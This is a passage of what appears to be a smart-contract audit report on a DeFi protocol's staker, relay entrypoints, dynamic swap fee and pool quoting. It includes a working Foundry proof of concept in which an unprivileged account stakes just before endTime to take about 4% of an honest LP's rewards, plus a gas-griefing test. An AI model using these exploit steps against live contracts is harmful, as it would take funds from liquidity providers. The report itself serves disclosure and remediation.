185 +   assertEq(gauge.stakedLength(victim), 1351, 'victim set inflated');
186 +
187 +   bytes memory accountWide = abi.encodeWithSignature('claimEmissions(address,address)',
victim, recipient);

```

DIFF

```

188 + bytes memory bounded = abi.encodeWithSignature(
189 +     'claimEmissions(address,address,uint256[])', victim, recipient, _ids(victimTokenId)
190 + );
191 +
192 + _cool();
193 + vm.prank(victim);
194 + (bool okAccountWide,) = address(gauge).call{gas: 30_000_000}(accountWide);
195 +
196 + _cool();
197 + vm.prank(victim);
198 + (bool okBounded,) = address(gauge).call{gas: 30_000_000}(bounded);
199 +
200 + _cool();
201 + g = gasleft();
202 + vm.prank(victim);
203 + gauge.claimEmissions(victim, recipient, _ids(victimTokenId));
204 + uint256 boundedGas = g - gasleft();
205 +
206 + // The victim's own position is still fully withdrawable.
207 + _cool();
208 + vm.prank(victim);
209 + gauge.withdraw(victimTokenId);
210 + assertEq(nft.ownerOf(victimTokenId), victim, 'victim recovers their own position');
211 +
212 + /*////////////////////////////////////
213 +     RESULTS
214 +     //////////////////////////////////*/
215 +
216 + emit log_named_uint('marginal claim gas per injected position ', claimSlope);
217 + emit log_named_uint('  of which the values() copy           ', valuesSlope);
218 + emit log_named_uint(' values() share of the marginal cost (%)', valuesSlope * 100 /
claimSlope);

```

DIFF

```
219 +   emit log_named_uint('positions to exceed a 30M gas block      ', 30_000_000 /
    claimSlope);

220 +   emit log_named_uint('positions to exceed a 100M gas block    ', 100_000_000 /
    claimSlope);

221 +   emit log_named_uint('attacker gas per position                ', attackerGas);

222 +   emit log_named_uint('victim withdraw gas per position        ', victimGas);

223 +   emit log_named_uint('attacker : victim cost ratio (x100)      ', attackerGas * 100 /
    victimGas);

224 +   emit log_named_uint('bounded overload gas at N=1351          ', boundedGas);

225 +   emit log_named_string('account-wide claim under a 30M cap     ', okAccountWide ?
    'SUCCEEDED' : 'REVERTED (OOG)');

226 +   emit log_named_string('bounded claim under a 30M cap (control) ', okBounded ?
    'SUCCEEDED' : 'REVERTED (OOG)');

227 +

228 +   assertFalse(okAccountWide, 'account-wide claim should not fit in a 30M block');

229 +   assertTrue(okBounded, 'bounded claim should still succeed at the same set size');

230 + }

231 +}
```

SlipstreamStaker accrues rewards for at least an hour past `endTime`, exclusively to whoever stays staked

Location	—
----------	---

Summary

An incentive is supposed to stop paying at `endTime`. It doesn't: `RewardMath.computeRewardAmount` keeps growing the position's reward numerator from the pool's live accumulator after `endTime` has passed. Upstream Uniswap V3 Staker contains the same math and defuses it by letting anyone force-unstake at exactly `endTime`; MetaDEX03 moved that permission to `endTime + REFUND_DELAY`, creating a guaranteed hour in which nobody but the position owner can stop the accrual. An unprivileged EOA that stakes one second before `endTime` and holds through that hour is paid $\text{REFUND_DELAY} / (\text{duration} + \text{REFUND_DELAY})$ of the whole reward budget — 4.0% of a one-day incentive — taken directly out of the LP who actually supplied the liquidity.

Finding Description

`RewardMath.computeRewardAmount` prorates the reward by liquidity-seconds. The denominator is clamped forward to the current time, the numerator is not clamped at all:

SOLIDITY

```

1  secondsInsideX128 = (secondsPerLiquidityInsideX128 - secondsPerLiquidityInsideInitialX128) *
    liquidity;

2  uint256 totalSecondsUnclaimedX128 = ((Math.max(endTime, currentTime) - startTime) << 128) -
    totalSecondsClaimedX128;

3  reward = FullMath.mulDiv(totalRewardUnclaimed, secondsInsideX128, totalSecondsUnclaimedX128);

```

`secondsPerLiquidityInsideX128` is read live at unstake time from `CLPool.snapshotCumulativesInside`, which extrapolates the oracle to the current block using the pool's current in-range liquidity (`Oracle.transform: + ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1))`). So a position that is in range after `endTime` keeps earning liquidity-seconds at $L_{\text{stake}} / L_{\text{poolInRange}}$ per second, for as long as it stays staked. The effect is not an unbounded reward — the accounting stays conservative, and `reward <= totalRewardUnclaimed` always holds — it is that the reward is prorated over `[startTime, unstakeTime]` instead of `[startTime, endTime]`. That directly contradicts the struct's own natspec at `ISlipstreamStaker.sol:26`: "endTime The time when rewards stop accruing".

The reason this is exploitable rather than merely untidy is `unstakeToken`:

SOLIDITY

```

1  function unstakeToken(IncentiveKey memory key, uint256 tokenId) external override {
2      Deposit memory deposit = deposits[tokenId];
3      if (block.timestamp < key.endTime + REFUND_DELAY) {
4          require(deposit.owner == msg.sender || _isApprovedForWithdrawal(deposit.owner, tokenId),
                    'not approved');
5      }

```

with `REFUND_DELAY = 1 hours`. Uniswap gates this at `block.timestamp < key.endTime` — the permissionless force-unstake at `endTime` is the mitigation for the unclamped numerator, because it freezes every numerator at its fair value the moment rewards stop. Delaying it by an hour hands the position owner an hour of protected accrual that no funder, keeper or bystander can interrupt. The exclusivity is deliberate and pinned by the team's own test `test_WhenCalledAfterEndTimeBeforeRefundDelayByNonOwner`, which asserts the 'not approved' revert; no test covers what that window does to the reward split.

The gate is also 360× wider than the rationale given for it. The constructor explains itself at :112-113 — "wall-clock(maxMinStakeBlocks) must stay strictly under REFUND_DELAY so permissionless unstake at `endTime + REFUND_DELAY` cannot still slash" — i.e. the point is that a last-second honest staker must not be force-unstaked inside the slash window. That only requires `endTime + wallclock(minStakeBlocks)`: with the default `minStakeBlocks = 5` and Base's 2s blocks, 10 seconds. REFUND_DELAY's own documented job is unrelated to unstaking (:61: "Delay after endTime before refundee can reclaim"). One constant is doing two jobs, and the 3590-second surplus is the entire attack surface.

Working the arithmetic through: with R the funded reward, $D = \text{endTime} - \text{startTime}$, T the seconds held past `endTime`, and f the attacker's share of in-window liquidity-seconds, the per-liquidity-second price is invariant under other stakers' claims, which gives an overpayment of $T \cdot (1 - f) / (D + T)$. It is maximised by contributing nothing during the window and holding for the full T — stake at `endTime - 1`, unstake at `endTime + REFUND_DELAY`:

With T fixed at the guaranteed `REFUND_DELAY = 3600`, the attacker's share of the budget is $3600 / (D + 3600)$:

- 1-hour incentive: 50.0%
- 6-hour incentive: 14.3%
- 1-day incentive: 4.00%
- 1-week incentive: 0.59%

Three details make the preconditions easier than they look. First, concentration makes in-range dominance cheap: in the PoC below, 500× the capital of the honest full-range LP buys 166,925× the liquidity, so the attacker's accrual rate is ~1/second on any pool, not just a thin one. Second, in the default `WHEN_NOT_EMITTING`

mode `createIncentive` requires the pool to have no active gauge emissions (:214-216, :477-483), so the staker's designed operating domain is exactly the pools where in-range liquidity is thinnest. Third, `createIncentive` enforces no minimum duration — only `startTime < endTime` — so `D` can be small enough to push the fraction arbitrarily close to 1.

Past `endTime + REFUND_DELAY` the accrual continues until somebody calls `unstakeToken`, and nobody is obliged to. There is no keeper in either repository, and the Metarouter cannot help: its only unstake path reverts `NotDepositOwner()` unless the caller is the deposit owner (`StakingLib.sol:157-159`), so a refundee routing through it cannot force-unstake at all. The refundee's own incentive is to act immediately at `endTime + REFUND_DELAY`, since `endIncentive` needs `numberOfStakes == 0`, which is why `T = 3600` is the right figure to reason from rather than the unbounded case. Finally, `_stakeToken` caps nothing and `onERC721Received` auto-stakes an entire `IncentiveKey[]` in one transfer, so one position collects $\frac{R \cdot T}{D+T}$ across every concurrent incentive on the pool in a single `multicall`.

For the avoidance of doubt about a nearby non-issue: the numerator cannot be pushed past the denominator, so the unchecked `totalRewardUnclaimed -= reward` at :366 cannot wrap. Each stake accrues at `L_stake / L_poolInRange` per second and `L_stake <= L_poolInRange` always holds, because the staked position's liquidity is a component of the pool's in-range liquidity and cannot shrink afterwards — the staker holds the NFT and `decreaseLiquidity` is authorization-gated. The severity here comes from the misallocation, not from a broken conservation invariant.

One inherited fact worth stating plainly: the vendored test `RewardMath.spec.ts:34-46` already pins post-`endTime` dilution, comment included — "half the reward goes to the staker, the other half goes to those staking after the period". That test describes upstream's model, in which "those staking after the period" could be evicted by anyone the instant rewards stopped. MetaDEX03 removed that eviction for an hour, and the finding is that change, not the inherited formula.

Likelihood (Medium)

Every step is available to an unprivileged EOA with no roles, approvals, oracle assumptions or victim mistakes, and the hour of protected accrual is guaranteed by code rather than by timing luck. What keeps it out of High is economic: the take is a low single-digit percentage for normal program durations, so it is worth doing only against large or short incentives.

Impact (Medium)

An attacker who supplied 1 of an incentive's 86,400 reward-window seconds is paid 4.0% of the entire budget, and the shortfall lands wei-for-wei on the LP who supplied 100% of the in-window liquidity — LP fund loss, not merely a reduced refund. It is bounded per incentive at `REFUND_DELAY / (duration + REFUND_DELAY)`, so this is a repeatable misallocation of the reward budget rather than an escrow drain, but it reaches 50% for an hour-long program and there is no minimum duration.

Mitigation

Clamp the reward numerator at `endTime` so `secondsInsideX128` stops growing when rewards stop, keeping it consistent with the `Math.max(endTime, currentTime)` denominator — snapshot `secondsPerLiquidityInsideX128` as of `endTime`, or pass an `endTime`-bounded value in place of the live one. This alone closes the finding regardless of liquidity share, hold duration or incentive count.

Separately, stop overloading `REFUND_DELAY`. Gate the permissionless branch of `unstakeToken` on `endTime + (maxMinStakeBlocks * microsPerBlock / 1e6)` instead of `endTime + REFUND_DELAY`: that satisfies the constructor's stated no-slash-on-force-unstake invariant exactly while shrinking the exclusive window from 3600s to ~10s, and leaves `REFUND_DELAY` doing only its documented job of gating `endIncentive`. A minimum incentive duration in `createIncentive` would bound the residual $T/(D+T)$ as defence in depth.

Proof of Concept

The PoC needs no counterfactual run: the victim is constructed as the only staker for every second of `[startTime, endTime]`, so her entitlement is unambiguously 100% of the budget and any shortfall is the theft. Bob funds a one-day, 100-token incentive; Alice stakes a full-range position for the whole window; Charlie — an unprivileged EOA with no roles and no approvals granted to him — mints a concentrated position one second before `endTime`, stakes it, and holds through the exclusivity window. The test asserts along the way that the funder himself cannot evict Charlie during that hour. The early-unstake penalty is left at its production default rather than disabled, and the real `SlipstreamStaker`, `RewardMath`, `CLPool`, `Oracle` and `NonfungiblePositionManager` are used throughout with no mock in the exploit path.

1	alice liquidity (full range)	1000000000000000000	1e18 from 1 + 1 TOKEN_1
2	charlie liquidity (concentrated)	166925124854849724567379	1.67e23 from 500 + 500 TOKEN_1 – 500x capital, 166,925x liquidity
3	reward funded	1000000000000000000	
4	alice payout (sole in-window LP)	95999979518024071770	96.0% – she supplied 100% of the window
5	charlie payout (1s of window)	4000020481975928229	4.0% of the budget for 1 of 86,400 seconds
6	alice shortfall	4000020481975928230	equals Charlie's gain to within 1 wei

Save the diff below as `staker-postendtime-accrual-poc.patch` in the audit repo root (paths are `metadex-slipstream/...`), then:

```
1 git apply staker-postendtime-accrual-poc.patch
2 cd metadex-slipstream
3 forge test --match-test test_POC_UnclampedPostEndTimeAccrualStealsHonestStakerRewards -vv
```

DIFF

```

1 diff --git a/metadex-slipstream/test/unit/concrete/SlipstreamStaker/unstakeToken/
  unstakeToken.t.sol b/metadex-slipstream/test/unit/concrete/SlipstreamStaker/unstakeToken/
  unstakeToken.t.sol
2 index 3cbbd69..424c925 100644
3 --- a/metadex-slipstream/test/unit/concrete/SlipstreamStaker/unstakeToken/unstakeToken.t.sol
4 +++ b/metadex-slipstream/test/unit/concrete/SlipstreamStaker/unstakeToken/unstakeToken.t.sol
5 @@ -113,4 +113,103 @@ contract UnstakeTokenConcreteUnitTest is SlipstreamStakerTest {
6     vm.expectRevert(bytes('no stake'));
7     staker.unstakeToken(key, tokenId);
8 }
9 +
10 + /// @notice 'RewardMath.computeRewardAmount' never clamps the reward numerator at
11 + 'endTime', and
12 + 'unstakeToken' blocks every third party from force-unstaking until 'endTime +
13 + REFUND_DELAY'.
14 + An unprivileged EOA that stakes one second before 'endTime' and holds through
15 + that
16 + exclusivity window therefore accrues an hour of liquidity-seconds after
17 + rewards were
18 + supposed to stop, and takes them straight out of the honest sole staker's
19 + payout.
20 + function test_POC_UnclampedPostEndTimeAccrualStealsHonestStakerRewards() external {
21 +     uint256 reward = TOKEN_1 * 100;
22 +     uint256 duration = 1 days;
23 +
24 +     // SETUP: Bob funds a 1-day incentive on the pool and is the refundee.
25 +     ISlipstreamStaker.IncentiveKey memory key =
26 +         _createIncentive(users.bob, reward, block.timestamp, block.timestamp + duration,
27 +             users.bob);
28 +
29 +     // SETUP: Alice is the honest LP. She stakes for the whole window and is the ONLY staker
30 +     for
31 +     // every second of [startTime, endTime], so her entitlement is 100% of 'reward'.
32 +     uint256 aliceToken = _mintFullRange(users.alice);
33 +     _depositAndStake(users.alice, aliceToken, users.alice, key);
34 +
35 +     // Alice's stake is 100% of the reward, so she should get the full reward.
36 +     uint256 aliceReward = _computeRewardAmount(users.alice, key, block.timestamp, block.timestamp + duration);
37 +     assertEq(aliceReward, reward);
38 + }

```

DIFF

```

28 +   vm.warp(key.endTime - 1);
29 +   vm.roll(block.number + 1000);
30 +
31 +   // EXPLOIT: Charlie is an unprivileged EOA – no roles, no approvals, no inside access.
   One second
32 +   // before rewards stop he mints a concentrated position around spot. Concentration is
   what makes
33 +   // this cheap: the same capital buys orders of magnitude more in-range liquidity than
   Alice's
34 +   // full-range position, so he dominates the pool's secondsPerLiquidity accumulator.
35 +   uint256 charlieToken;
36 +   {
37 +       vm.startPrank(users.charlie);
38 +       token0.approve(address(nftCallee), type(uint256).max);
39 +       token1.approve(address(nftCallee), type(uint256).max);
40 +       vm.stopPrank();
41 +       charlieToken = nftCallee.mintNewCustomRangePositionForUserWith60TickSpacing(
42 +           TOKEN_1 * 500, TOKEN_1 * 500, -60, 60, users.charlie
43 +       );
44 +       (,,,,,, uint128 aliceLiquidity,,,,) = nft.positions(aliceToken);
45 +       (,,,,,, uint128 charlieLiquidity,,,,) = nft.positions(charlieToken);
46 +       emit log_named_uint('alice liquidity (full range) ', aliceLiquidity);
47 +       emit log_named_uint('charlie liquidity (concentrated) ', charlieLiquidity);
48 +   }
49 +
50 +   // EXPLOIT: stake with 1 second of the reward window left – 1/86400 of Alice's
   liquidity-seconds.
51 +   _depositAndStake(users.charlie, charlieToken, users.charlie, key);
52 +
53 +   // EXPLOIT: the post-endTime window is exclusive. Not even the funder can evict him for
   a full hour.
54 +   vm.warp(key.endTime + 1);
55 +   vm.prank(users.bob);
56 +   vm.expectRevert(bytes('not approved'));

```

DIFF

```
57 + staker.unstakeToken(key, charlieToken);
58 +
59 + // EXPLOIT: hold to the last second of that window, then unstake and claim real tokens.
60 + vm.warp(key.endTime + staker.REFUND_DELAY() - 1);
61 + vm.roll(block.number + 1000);
62 +
63 + uint256 charlieGain;
64 + {
65 +     uint256 before = rewardToken.balanceOf(users.charlie);
66 +     vm.startPrank(users.charlie);
67 +     staker.unstakeToken(key, charlieToken);
68 +     staker.claimReward(IERC20Minimal(address(rewardToken)), users.charlie, 0);
69 +     vm.stopPrank();
70 +     charlieGain = rewardToken.balanceOf(users.charlie) - before;
71 + }
72 +
73 + uint256 aliceGain;
74 + {
75 +     uint256 before = rewardToken.balanceOf(users.alice);
76 +     vm.startPrank(users.alice);
77 +     staker.unstakeToken(key, aliceToken);
78 +     staker.claimReward(IERC20Minimal(address(rewardToken)), users.alice, 0);
79 +     vm.stopPrank();
80 +     aliceGain = rewardToken.balanceOf(users.alice) - before;
81 + }
82 +
83 + emit log_named_uint('reward funded', reward);
84 + emit log_named_uint('alice payout (sole in-window LP)', aliceGain);
85 + emit log_named_uint('charlie payout (1s of window)', charlieGain);
86 + emit log_named_uint('alice shortfall', reward - aliceGain);
87 +
88 + // IMPACT 1: the attacker extracted real reward tokens out of the escrow.
```

DIFF

```
89 +   assertGt(charlieGain, 0);
90 +
91 +   // IMPACT 2: Alice was the only staker for 100% of [startTime, endTime] yet is paid less
    than the
92 +   // full reward, and the shortfall is exactly what the attacker took – a direct transfer
    of her rewards.
93 +   assertLt(aliceGain, reward);
94 +   assertApproxEqAbs(reward - aliceGain, charlieGain, 1);
95 +
96 +   // IMPACT 3: the size of the theft is REFUND_DELAY / (duration + REFUND_DELAY) of the
    whole budget,
97 +   // i.e. purely a function of the exclusivity window, not of anything Charlie
    contributed.
98 +   assertApproxEqRel(charlieGain, (reward * staker.REFUND_DELAY()) / (duration +
    staker.REFUND_DELAY()), 0.01e18);
99 +   assertGt(charlieGain, (reward * 3) / 100);
100 +
101 +   // IMPACT 4: conservation – the 4 tokens Charlie took came out of the LP reward budget,
    not from
102 +   // thin air. The escrow is emptied to dust and Bob has no residual left to reclaim via
    endIncentive.
103 +   assertApproxEqAbs(aliceGain + charlieGain, reward, 1);
104 +   (uint256 unclaimed,,, uint256 slashed) = staker.incentives(_incentiveId(key));
105 +   assertLe(unclaimed + slashed, 1);
106 +   assertLe(rewardToken.balanceOf(address(staker)), 1);
107 + }
108 }
```

Every Relay swap reverts on a nonexistent `Metarouter` `execute` selector

Location	—
----------	---

1. Summary

`BaseEntrypoint.sol:65` calls `execute(bytes,bytes[])` (`0x24856bc3`) through a hand-authored local interface at `interfaces/relay/entrypoints/IMetaRouter.sol:13`. The shipped `Metarouter` has no such function — its only `execute` is `execute(bytes,bytes[],uint256)` (`0x3593564c`) at `Metarouter.sol:190` — and it has no `fallback()`. Dispatch is selector-based, so the call reverts before decoding anything.

All seven swap functions across the five entrypoints share that one line, so `swapAndCompound` and `swapAndConvert` revert unconditionally. `SwapParams` has no `deadline` field (`IBaseEntrypoint.sol:19-27`), so the correct calldata cannot be built at all: this is interface drift, not a mis-encoding.

Root-chain reward claims land in the Relay at a hardcoded recipient (`RelayRewardsLib.sol:459`), and the swap path is the only route out for any token that is neither `TOKEN` nor the Relay's single registered reward token. Those tokens accumulate as idle balance and their yield stops reaching PT/YT holders.

2. Finding Description

The drift. The local interface's natspec describes its shape as "the standard Universal-Router-style `execute(commands, inputs)`" — the legacy Velodrome/Aerodrome signature. The shipped `Metarouter` added `_deadline` and kept only the three-argument form. Solidity type-checks the interface, never the implementation, and the two files never reference each other, so nothing at compile time connects the declaration to the contract it is cast onto.

Verified in compiled output:

- `forge inspect Metarouter methods` → 15 functions; `execute(bytes,bytes[],uint256)` is the only `execute`.
- In the 21,288-byte runtime, `PUSH4 0x3593564c` is present and the byte string `24856bc3` does not appear anywhere.
- `receive()` (`Metarouter.sol:150`) cannot absorb the call — it takes empty calldata only.
- No `fallback()` on `Metarouter`, and none anywhere in `metadex/V3/src`. It inherits only `IMetarouter` and `IERC721Receiver`, both interfaces.
- No contract in either repo implements `execute(bytes,bytes[])`; the only definition of that signature is

the dead interface declaration.

Funds move before the revert. `_pullSwapAndValidate` (`BaseEntrypoint.sol:51`) clears `_requireKeeper (:52)`, non-zero `minAmountOut (:53)`, `isMetaRouterApproved (:55)` and the same-token check (:58); snapshots the output balance (:60); pulls tokens out of the Relay (:63 → `RelayBase.sol:466` role check → `RelayRewardsLib.sol:126` transfer); sets the router allowance (:64); then reverts at :65, unwinding both writes.

Nothing rejects the mismatch first. `FactoryRegistry.isMetaRouterApproved:350-352` is a bare set-membership check — it validates which address may be used, never which selector is invoked. `registerMetaRouter:262` checks only non-zero and non-duplicate.

All seven swap functions are dead. No override of `_pullSwapAndValidate` exists. Callers: `Compounder.sol:25`, `SingleConverter.sol:33`, `MultiConverter.sol:35`, `SingleHybrid.sol:50` and :56, `MultiHybrid.sol:61` and :69.

Why the tokens are unreachable. A Relay accrues each voted pool's `token0/token1` fees plus arbitrary incentive tokens. `RelayBase.claimRewards:533` resolves the recipient through `RelayRewardsLib.recipientFor:455`, and :459 returns `address(this)` for a root-chain claim — hardcoded, with no operator route around it. Every exit is then closed:

- `notifyReward` (`RelayBase.sol:517`) reverts `UnknownRewardToken` at `RelayRewardsLib.sol:94` for any token outside the registry.
- `addRewardToken` (`RelayBase.sol:492`) reverts `RewardRegistryLocked` at `RelayRewardsLib.sol:194` once one entry exists, because `_canGrowRegistry()` is false on the base tier (`RelayBase.sol:765`; :764 `natspec`: "Base is false (Maxi/L1); `ProtocolRelay` returns true once it is L2.").
- The idle-balance paths cannot substitute. `_compoundIdleBalance (:88)` reads `TOKEN()` at :90 and handles only `TOKEN`; `_convertIdleBalance (:99)` notifies a registry token. `Compounder.sol:30-32` states the idle path exists for "TOKEN that arrived by other means."
- No sweep on Maxi. `sweep` exists only at `ProtocolRelay.sol:85`, gated if `(!isLevel2)` revert `NotLevel2()`. `MaxiRelay.sol:13-14`: "There is no sweep and no L2 promotion, so the SWEEPER role does not exist on this tier."
- The entrypoint cannot be replaced. `RelayBase.sol:587` and :595 revert `EntrypointRoleRestricted` for `COMPOUNDER | CONVERTER | ENTRYPPOINT_VETOER`; the timelocked bypass (`ProtocolRelay.sol:96`) is level-2 only.

A Relay must have at least one entrypoint — `RelayBase.sol:622` reverts `MissingEntrypoint` — so no deployment avoids the broken flow.

Why the test suite is green. Every entrypoint test mocks the dead selector: `test/unit/relay/entrypoints/BaseEntrypoints.sol:109` and `.../BaseEntrypoint/pullSwapAndValidate/pullSwapAndValidate.t.sol:179`

both `vm.mockCall` on `abi.encodeCall(IMetaRouter.execute, (bytes(''), new bytes[](0)))`. That suite passes 9 of 9 against a signature that does not exist. No integration test in either repo wires a real entrypoint to the real `Metarouter`.

3. Steps

1. Governance registers the `Metarouter` (`FactoryRegistry.registerMetaRouter:262`). No interface or selector probe is performed.
2. A Maxi Relay is created with a `Compounder` granted `COMPOUNDER` at initialization (mandatory per `RelayBase.sol:622`) and a keeper granted `KEEPER`. Its reward registry holds one token, `R`, and is locked (`RelayBase.sol:765`).
3. The Relay's pooled `sAERO` accrues fees on a Base pool, say `WETH/USDC`. Neither token is `TOKEN`; neither is `R`.
4. Anyone calls `RelayBase.claimRewards(block.chainid, ...)`. `RelayRewardsLib.recipientFor:459` returns `address(this)`, so the `WETH` and `USDC` land in the Relay as un-accounted balance.
5. The keeper calls `Compounder.swapAndCompound(SwapParams{relay, router: <Metarouter>, tokenIn: USDC, amountIn, minAmountOut, commands, inputs})`.
6. `_pullSwapAndValidate` passes every guard, pulls the `USDC (:63)`, approves the router (`:64`), then dispatches `0x24856bc3` at `:65`. The `Metarouter` implements only `0x3593564c` and has no `fallback()`. The call reverts and the frame unwinds.
7. Every retry is identical; the failure has no state dependence. Every other swap function reverts on the same line.
8. The `WETH` and `USDC` stay in the Relay — undistributable (`RelayRewardsLib.sol:94`), unregistrable (`:194`), unreachable by the idle paths, unsweepable on this tier, and the entrypoint cannot be swapped for a working one (`RelayBase.sol:587`).

4. Likelihood (high)

The failure is deterministic and unconditional in shipped code: selectors are fixed at compile time, `Metarouter` has no `fallback()`, and neither contract is upgradeable. The preconditions are the protocol's documented operating state — an approved router, a Relay with at least one entrypoint (mandatory), a keeper, and a non-target reward arriving — so no attacker behaviour, timing, token property, or chain state has to be engineered. The designed operator hits it on its first normal conversion call and on every call after.

5. Impact (low)

The Relay's swap-based reward conversion — the stated purpose of all five entrypoints and seven of their functions — is non-functional, so non-target rewards claimed on the root chain accumulate as idle balance

and their yield stops reaching PT/YT holders. Nothing is stolen or mis-accounted: the revert is atomic, `accountedBalance` is never touched, and the idle value converts normally once a router exposing the expected selector is registered.

6. Mitigation

Change `IMetaRouter.execute` to `execute(bytes,bytes[],uint256)`, add a `deadline` field to `SwapParams` (`IBaseEntrypoint.sol:19-27`), and pass the keeper-supplied deadline at `BaseEntrypoint.sol:65`. Better: delete the hand-authored `IMetaRouter.sol` and import `interfaces/metarouter/IMetarouter.sol` directly, which makes the drift impossible to reintroduce.

Two changes stop the class rather than the instance:

- Probe the router at the relay-to-router boundary, or validate at registration in `FactoryRegistry.registerMetaRouter:262`, so an approved address lacking the expected `execute` is rejected before `pull` moves funds.
- Add an integration test wiring a real `entrypoint` to a real `Metarouter`. A mock built from the same drifted interface as the code under test can only confirm the drift.

Dynamic swap fee never prices a swap's own price impact

Location	—
----------	---

1. Summary

The dynamic swap fee is meant to charge more when a CL pool's price sits far from its 10-minute average. It is sampled once per block, from the price as it stood before any trade in that block, and every swap in the block then pays that one number. So the swap that actually moves the price is never charged for moving it, and a move made and undone inside the same block is never charged at all — the deviation never reaches the oracle, and by the next block there is nothing left to measure.

The protocol already has the machinery to fix this. `SwapHookLib.afterSwap` is fully built to take a post-swap fee back from the hook and credit it to the gauge, and `DynamicSwapFeeHook.afterSwap` — which receives the post-swap tick — returns 0 into it. That channel is dead code, and the volatility component it exists to carry is silently forgiven.

The shortfall lands on liquidity providers and `ve(3,3)` voters, who receive only the static base fee on exactly the trades the volatility fee was written for.

2. Finding Description

`CLPool.swap` resolves the fee once, before the swap loop, and passes the pre-swap tick into the hook (`CLPool.sol:765`). The single `state.fee` is then applied to every `computeSwapStep` in the loop, and `slot0` is not written until the loop finishes (`CLPool.sol:895-905`). The fee therefore describes the price as it was before the swap, never the impact the swap creates.

The hook pins that value for the whole block. `_getFeeAndStore` writes `blockFee[_pool][block.number]` on the block's first swap (`DynamicSwapFeeHook.sol:469`), and every later swap takes the cached number with no freshness check (`:496-513`). Only `_getFirstSwapFee` recomputes the volatility term (`:520, :563`).

Nothing downstream reprices it. `DynamicSwapFeeHook.afterSwap` (`:317`) records to the pool tape and falls through with no return value, so it returns 0; `getAfterSwapFee` is pure returning 0 (`:418`). Yet `SwapHookLib.afterSwap` (`SwapHookLib.sol:130`) is fully implemented for exactly this purpose: it caps the returned fee, computes it against the post-swap amount, applies it to `amountCalculated`, and credits `gaugeFees`. The plumbing is there and the hook declines to use it.

The consequence is sharpest for a round trip closed inside one block. `Oracle.write` early-returns when an observation already exists for the timestamp (`Oracle.sol:85`), so a block contributes at most one observation

and it carries the pre-move tick. A deviation created and reversed within the block never enters the oracle cumulative and leaves nothing for the next block's sample. That trade pays the volatility component zero times, ever. A deviation left standing is still charged — to whoever trades first in the next block, typically the arbitrageur correcting the price.

Only the fee that was actually charged is distributed: `calculateFees (CLPool.sol:822)` splits it into `feeGrowthGlobalX128` for unstaked LPs and `gaugeFee` → `gaugeFees` for staked LPs and voters, both of which under-receive by the forgiven amount.

3. Steps

1. A CL pool is wired to `DynamicSwapFeeHook`, and its oracle carries enough history for the volatility term to be live.
2. A block opens with the price near its 10-minute average.
3. The first swap of the block computes `min(baseFee + 0, feeCap) = baseFee` and pins it in `blockFee[pool][block.number]`. It then moves the price well away from the average, paying only `baseFee`.
4. Any further swap in that block — including a leg that reverses the move — reads the cached `baseFee` and pays it, whatever the price now is.
5. `afterSwap` returns 0, so no post-swap fee is assessed against the deviation the swaps created.
6. At the next block boundary the price is back where it started, so the next sample sees no deviation. The volatility fee is never charged for the move, and LP and voter fee income is short by that amount.

4. Likelihood (medium)

The code path is unconditional: once the hook is wired, every block's fee is fixed by its first swap and no swap in that block is ever repriced. Same-block round trips are routine on these pools, so the shortfall accrues without anyone setting it up. The two gating preconditions are operational rather than adversarial — the hook must be wired (the shipped `DeployCL.s.sol:134` still passes `_defaultSwapHook: address(0)`), and the pool oracle must carry at least `secondsAgo` of history for the volatility term to be non-zero at all.

5. Impact (low)

Liquidity providers and `ve(3,3)` voters collect only the static base fee on trades the volatility fee was designed to price. At the repo's own defaults (`_DEFAULT_SCALING_FACTOR = 100 * 1e6`, `_DEFAULT_FEE_CAP = 20_000`, and `baseFee = 500` for `tickSpacing = 100` at `CLFactory.sol:93`) the volatility fee tracks the price move roughly one-for-one up to a 2% ceiling, so the forgiven amount runs from about 0.5% of notional on a 50 bp move to 1.95% at the cap — recurring. This is a fee-revenue shortfall only: reserves, positions and the base fee are untouched.

6. Mitigation

Use the post-swap channel that already exists. Have `DynamicSwapFeeHook.afterSwap` return the volatility fee owed on the increase in deviation — the post-swap `|tick - twAvgTick|` less the pre-swap value — instead of 0; `SwapHookLib.afterSwap` already caps it, charges it and credits `gaugeFees`.

Keying on the increase rather than the level matters: repricing on the level would charge the full deviation to whoever swaps next, including a trader who merely arrived after someone else moved the price.

If the per-block cache is kept as designed, record in `metadex/audit.md` that intra-block price movement is never priced, so the behaviour is declared rather than implied.

Pool getAmountOut Ignores the MEV Tax and Overstates the Executable Output

Location	—
----------	---

Summary

`Pool.getAmountOut(uint256 amountIn, address tokenIn)` (`metadex/V3/src/pools/Pool.sol:537`) and its four-argument sibling (`Pool.sol:496`) price a V2 swap by subtracting only the base fee, resolved through `factory.getBaseFee(pool, address(0), ...)`. The executed swap charges `factory.getFee(pool, msg.sender, ...)` — base plus the priority-fee MEV tax — and enforces the curve invariant on the post-total-fee balances (`Pool.sol:195`). Whenever the MEV-tax module is enabled and the executing transaction tips above the adaptive threshold, the plain accessor publishes a price the pool cannot honour, overstated by up to 10% at `MEV_TAX_CAP`.

The error is strictly one-directional (`mevFee >= 0`, so the quote is always $\geq$ the executable amount) and the `K()` check turns it into a revert, never an under-delivery or an over-withdrawal. Every `metadex-native` path already binds the correct accessors — `Metarouter.sol:597,643` and `Metaquoter.sol:115,161,176,190` — and an exhaustive sweep of both repositories finds no production consumer of the defective accessor at all. This is a stale public price surface exposed to out-of-repo integrators, not an exploitable defect in the audited system.

Description

The pool exposes two quoting families bound to different fee sources and different callers:

SOLIDITY

```
1 // Pool.sol:537-545 - base fee only, caller hardcoded to address(0)
2 function getAmountOut(uint256 amountIn, address tokenIn) external view returns (uint256) {
3     ...
4     amountIn -= (amountIn
5         * IPoolFactory(factory).getBaseFee(address(this), address(0), _amount0In, _amount1In,
6         _reserve0, _reserve1))
7         / _MAX_BPS;
8     return _getAmountOut(amountIn, tokenIn, _reserve0, _reserve1);
9 }
```

SOLIDITY

```

10 // Pool.sol:548-555 - total fee, caller = msg.sender

11 function getAmountOutWithTotalFee(uint256 amountIn, address tokenIn) external view returns
    (uint256) {

12     (uint256 _fee,,) = _getSwapFee(_amount0In, _amount1In, _reserve0, _reserve1);

13     amountIn -= (amountIn * _fee) / _MAX_BPS;

14     return _getAmountOut(amountIn, tokenIn, _reserve0, _reserve1);

15 }

```

The factory makes the split concrete: `getBaseFee` (`PoolFactory.sol:302-325`) consults only the fee module (or the `defaultFee` fallback) and never reads `mevTaxModule`, while `getFee` layers the tax on top:

SOLIDITY

```

1 // PoolFactory.sol:260-274

